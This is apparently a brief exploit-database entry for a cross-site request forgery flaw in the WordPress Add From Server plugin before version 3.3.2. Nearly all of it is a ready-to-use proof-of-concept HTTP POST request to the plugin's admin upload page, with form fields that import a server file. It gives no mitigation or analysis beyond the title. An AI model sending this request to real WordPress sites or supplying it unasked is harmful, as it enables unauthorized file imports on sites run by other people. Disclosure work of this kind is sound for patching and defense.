WordPress Add From Server Plugin < 3.3.2 - (File Upload) CSRF

Proof of concept
POST /wp-admin/upload.php?page=add-from-server HTTP/1.1
Host: <target>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
   
files%5B%5D=largefile.txt&import-date=current&cwd=www.secye.com&import=Import